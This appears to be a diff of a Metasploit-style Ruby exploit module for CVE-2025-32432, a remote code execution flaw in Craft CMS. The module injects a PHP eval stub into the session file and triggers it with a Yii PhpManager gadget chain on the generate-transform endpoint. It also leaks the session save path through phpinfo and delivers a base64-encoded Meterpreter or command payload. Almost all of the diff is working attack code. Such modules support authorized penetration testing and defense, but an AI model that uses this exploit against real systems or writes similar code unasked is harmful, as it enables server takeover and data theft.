@@ -20,7 +20,6 @@ def initialize(info = {})
2020 in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
2121 It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
2222 by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
23-
2423 Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
2524 } ,
2625 'Author' => [
@@ -62,112 +61,57 @@ def initialize(info = {})
6261 )
6362 )
6463
65- register_options (
66- [
67- OptString . new ( 'TARGETURI' , [ true , 'Base path' , '/' ] ) ,
68- OptInt . new ( 'ASSET_ID' , [ true , 'Existing asset ID' , Rex ::Text . rand_text_numeric ( 2 ..3 ) ] )
69- ]
70- )
71- end
72-
73- def check
74- csrf_token = fetch_cookies_and_csrf
75- return CheckCode ::Unknown ( 'Could not retrieve cookies & CSRF' ) if csrf_token . nil?
76-
77- vprint_status "Using CSRF token: #{ csrf_token } "
78-
79- response = send_transform ( csrf_token , datastore [ 'ASSET_ID' ] , 'phpinfo' )
80- return CheckCode ::Unknown ( 'No response from generate-transform' ) if response . nil?
81-
82- if response . body . include? ( 'If you did not receive a copy of the PHP license' )
83- CheckCode ::Vulnerable ( 'License text detected' )
84- else
85- CheckCode ::Safe ( 'License text not detected' )
86- end
64+ register_options ( [
65+ OptInt . new ( 'ASSET_ID' , [ true , 'Existing asset ID' , Rex ::Text . rand_text_numeric ( 2 ..3 ) ] )
66+ ] )
8767 end
8868
89- def php_exec_cmd ( encoded_payload )
90- generator = Rex ::RandomIdentifier ::Generator . new
91- disabled_var = "$#{ generator [ :dis ] } "
92- payload_b64 = Rex ::Text . encode_base64 ( encoded_payload )
69+ def execute_via_session ( payload )
70+ session_id , csrf , param_name = fetch_cookies_and_csrf
71+ return nil unless csrf
9372
94- <<~PHP
95- #{ php_preamble ( disabled_varname : disabled_var ) }
96- $c=base64_decode("#{ payload_b64 } ");
97- #{ php_system_block ( cmd_varname : '$c' , disabled_varname : disabled_var ) }
98- PHP
99- end
100-
101- def exploit
102- payload_code = target [ 'Arch' ] == ARCH_PHP ? payload . encoded : php_exec_cmd ( payload . encoded )
103- encoded_payload = framework . encoders
104- . create ( 'php/base64' )
105- . encode ( payload_code )
106-
107- random_param = Rex ::Text . rand_text_alphanumeric ( 5 ..12 )
108- initial_payload = "<?php eval($_GET['#{ random_param } ']);die();"
109-
110- print_status 'Making initial request to push payload and get a CSRF token'
111- session_id , csrf_token = fetch_cookies_and_csrf ( initial_payload )
112- unless csrf_token
113- fail_with ( Failure ::Unknown , 'Could not retrieve session ID and CSRF token' )
114- end
73+ vprint_status ( "Session ID: #{ session_id } – stub injected under param #{ param_name } " )
11574
116- vprint_status "Session ID: #{ session_id } "
117- vprint_status "CSRF token: #{ csrf_token } "
75+ session_dir = @session_path || '/var/lib/php/sessions'
76+ session_file = normalize_uri ( session_dir , "sess_ #{ session_id } " )
11877
119- print_status 'Triggering code via assets/generate-transform'
120- request_payload = {
78+ body = {
12179 assetId : datastore [ 'ASSET_ID' ] ,
12280 handle : {
12381 width : Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
12482 height : Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
125- ' as hack' => {
83+ " as #{ Rex :: Text . rand_text_alphanumeric ( 1 .. 8 ) } " => {
12684 class : 'craft\\behaviors\\FieldLayoutBehavior' ,
12785 __class : 'yii\\rbac\\PhpManager' ,
12886 '__construct()' => [
129- { itemFile : "/var/lib/php/sessions/sess_ #{ session_id } " }
87+ { itemFile : session_file }
13088 ]
13189 }
13290 }
13391 } . to_json
13492
135- send_request_cgi! (
93+ send_request_cgi (
13694 'method' => 'POST' ,
13795 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
138- 'vars_get' => { 'p' => 'actions/assets/generate-transform' , random_param => encoded_payload } ,
139- 'headers' => { 'X-CSRF-Token' => csrf_token } ,
96+ 'vars_get' => {
97+ 'p' => 'actions/assets/generate-transform' ,
98+ param_name => payload
99+ } ,
100+ 'headers' => { 'X-CSRF-Token' => csrf } ,
140101 'ctype' => 'application/json' ,
141- 'data' => request_payload ,
102+ 'data' => body ,
142103 'keep_cookies' => true
143104 )
144105 end
145106
146- def extract_csrf_token ( res )
147- get_token = lambda do |r |
148- next unless r &.code == 200
149-
150- r . get_html_document . at ( "//input[@name='CRAFT_CSRF_TOKEN']/@value" ) &.text
151- end
152-
153- token = get_token . call ( res )
154-
155- if token . nil? || token . empty?
156- vprint_status 'CSRF not found, falling back to root'
157- fb_res = send_request_cgi (
158- 'method' => 'GET' ,
159- 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
160- 'keep_cookies' => true
161- )
162- token = get_token . call ( fb_res )
163- end
164-
165- token unless token . nil? || token . empty?
166- end
107+ def fetch_cookies_and_csrf
108+ param_name = Rex ::Text . rand_text_alphanumeric ( 5 ..12 )
109+ static_stub = "<?=eval($_GET['#{ param_name } ']);die()?>"
167110
168- def fetch_cookies_and_csrf ( payload_param = nil )
169- rand_param = Rex ::Text . rand_text_alphanumeric ( 5 ..12 )
170- params = { 'p' => 'admin/dashboard' , rand_param => payload_param } . compact
111+ params = {
112+ 'p' => 'admin/dashboard' ,
113+ param_name => static_stub
114+ }
171115
172116 cookie_jar . clear
173117 res = send_request_cgi (
@@ -178,9 +122,8 @@ def fetch_cookies_and_csrf(payload_param = nil)
178122 )
179123 return nil unless res
180124
181- raw_cookies = res . get_cookies . to_s
182- session_id = raw_cookies . scan ( /CraftSessionId=([^;]+)/ ) . flatten . first
183- return nil if session_id . nil? || session_id . empty?
125+ session_id = res . get_cookies [ /CraftSessionId=([^;]+)/ , 1 ]
126+ return nil if session_id . to_s . empty?
184127
185128 if res . code == 302 && res . headers [ 'Location' ]
186129 res = send_request_cgi (
@@ -190,10 +133,41 @@ def fetch_cookies_and_csrf(payload_param = nil)
190133 )
191134 end
192135
193- token = extract_csrf_token ( res )
194- return nil unless token
136+ csrf = extract_csrf_token ( res )
137+ return nil unless csrf
138+
139+ [ session_id , csrf , param_name ]
140+ end
141+
142+ def extract_csrf_token ( res )
143+ doc = res . get_html_document
144+ token = doc . at ( '//input[@name="CRAFT_CSRF_TOKEN"]/@value' ) &.text
145+ return token unless token . to_s . empty?
146+
147+ vprint_status ( 'CSRF not found in dashboard, falling back to root' )
148+ res2 = send_request_cgi (
149+ 'method' => 'GET' ,
150+ 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
151+ 'keep_cookies' => true
152+ )
153+ res2 . get_html_document . at ( '//input[@name="CRAFT_CSRF_TOKEN"]/@value' ) &.text
154+ end
155+
156+ def leak_session_path ( csrf )
157+ res = send_transform ( csrf , datastore [ 'ASSET_ID' ] , 'phpinfo' )
158+ return nil unless res &.body
159+
160+ doc = res . get_html_document
161+
162+ path = doc . at_xpath (
163+ "//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
164+ ) &.text
195165
196- payload_param ? [ session_id , token ] : token
166+ path ||= doc . at_xpath (
167+ "//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
168+ ) &.text
169+
170+ path &.strip
197171 end
198172
199173 def send_transform ( csrf , asset_id , php_string )
@@ -202,12 +176,10 @@ def send_transform(csrf, asset_id, php_string)
202176 'handle' => {
203177 'width' => Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
204178 'height' => Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
205- ' as session' => {
179+ " as #{ Rex :: Text . rand_text_alphanumeric ( 1 .. 8 ) } " => {
206180 'class' => 'craft\\behaviors\\FieldLayoutBehavior' ,
207181 '__class' => 'GuzzleHttp\\Psr7\\FnStream' ,
208- '__construct()' => [
209- [ ]
210- ] ,
182+ '__construct()' => [ [ ] ] ,
211183 '_fn_close' => php_string
212184 }
213185 }
@@ -222,4 +194,54 @@ def send_transform(csrf, asset_id, php_string)
222194 'data' => json_data
223195 )
224196 end
197+
198+ def check
199+ _ , csrf , = fetch_cookies_and_csrf
200+ return CheckCode ::Unknown ( 'Could not retrieve session & CSRF' ) unless csrf
201+
202+ if ( path = leak_session_path ( csrf ) )
203+ @session_path = path
204+ print_good ( "Leaked session.save_path: #{ @session_path } " )
205+ return CheckCode ::Vulnerable ( 'Session path leaked' )
206+ end
207+
208+ a = Rex ::Text . rand_text_numeric ( 4 ) . to_i
209+ b = Rex ::Text . rand_text_numeric ( 4 ) . to_i
210+
211+ expr = "#{ a } +#{ b } "
212+ sum = a + b
213+ print_status ( "Checking RCE: #{ expr } " )
214+
215+ payload = "print_r(#{ expr } );"
216+ res = execute_via_session ( payload )
217+ return CheckCode ::Unknown ( 'No response' ) unless res
218+
219+ if res . body . include? ( sum . to_s )
220+ CheckCode ::Vulnerable ( "Detected RCE: #{ sum } " )
221+ else
222+ CheckCode ::Safe ( "Sum #{ sum } not found" )
223+ end
224+ end
225+
226+ def exploit
227+ raw = target [ 'Arch' ] == ARCH_PHP ? payload . encoded : php_exec_cmd ( payload . encoded )
228+ b64 = Rex ::Text . encode_base64 ( raw )
229+
230+ payload_code = "eval(base64_decode('#{ b64 } '));"
231+
232+ print_status ( 'Injecting stub & triggering payload...' )
233+ execute_via_session ( payload_code )
234+ end
235+
236+ def php_exec_cmd ( encoded_payload )
237+ gen = Rex ::RandomIdentifier ::Generator . new
238+ disabled_var = "$#{ gen [ :dis ] } "
239+ b64 = Rex ::Text . encode_base64 ( encoded_payload )
240+
241+ <<~PHP
242+ #{ php_preamble ( disabled_varname : disabled_var ) }
243+ $c=base64_decode("#{ b64 } ");
244+ #{ php_system_block ( cmd_varname : '$c' , disabled_varname : disabled_var ) }
245+ PHP
246+ end
225247end
0 commit comments